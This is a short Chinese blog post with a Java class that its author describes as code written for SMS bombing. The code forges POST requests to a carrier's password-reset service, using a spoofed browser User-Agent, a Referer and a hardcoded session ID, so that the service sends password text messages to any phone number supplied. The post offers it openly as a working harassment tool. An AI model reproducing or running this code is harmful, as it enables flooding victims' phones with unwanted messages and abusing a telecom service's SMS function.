Java 模拟POST提交数据

Java 模拟POST提交数据,这是当时写的一个手机短信轰炸的代码。

package com.java.moblie;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.ProtocolException;
import java.net.URL;

public class Send {
  public String sendMessage(String Moblie){
  String url = "http://221.179.9.XX:8080/bpss/dwr/call/plaincall/PasswordService.applyAutoPassword.dwr";
  String postData = "callCount=1\r\npage=/bpss/index.jsp\r\nhttpSessionId=60769A616C7132CB8BD8023AC05D214D\r\nscriptSessionId=4BCCB2CA5F312A17EBA6788BCA6D4807661\r\nc0-scriptName=PasswordService\r\nc0-methodName=applyAutoPassword\r\nc0-id=0\r\nc0-param0=string:"+Moblie+"\r\nbatchId=3";
  try {
   URL serverUrl = new URL(url);
   HttpURLConnection conn = (HttpURLConnection) serverUrl.openConnection();
   conn.setConnectTimeout(20000);
   conn.setRequestMethod("POST");
   conn.addRequestProperty("Referer",":8080/bpss/index.jsp#");
   conn.addRequestProperty("Accept", "*/*");
   conn.addRequestProperty("Accept-Language", "zh-cn");
   conn.addRequestProperty("Content-type", "text/plain");
   conn.addRequestProperty("User-Agent","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)");
   //conn.addRequestProperty("Cookie", "JSESSIONID=60769A616C7132CB8BD8023AC05D214D;");
   conn.setDoOutput(true);
   conn.connect();
   conn.getOutputStream().write(postData.getBytes());
    InputStream ins =  conn.getInputStream(); 
    String charset = "gbk";
    InputStreamReader inr = new InputStreamReader(ins, charset); 
    BufferedReader br = new BufferedReader(inr); 
    String line = ""; 
    StringBuffer sb = new StringBuffer(); 
    do{
    sb.append(line); 
    line = br.readLine();
    }while(line != null);
    return sb.toString(); 
  } catch (MalformedURLException e) {
   e.printStackTrace();
   return null;
  } catch (ProtocolException e) {
   e.printStackTrace();
   return null;
  } catch (IOException e) {
   e.printStackTrace();
   return null;
  }
 }
}

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/b0d1a3c57410d7419983e06b6363a553.html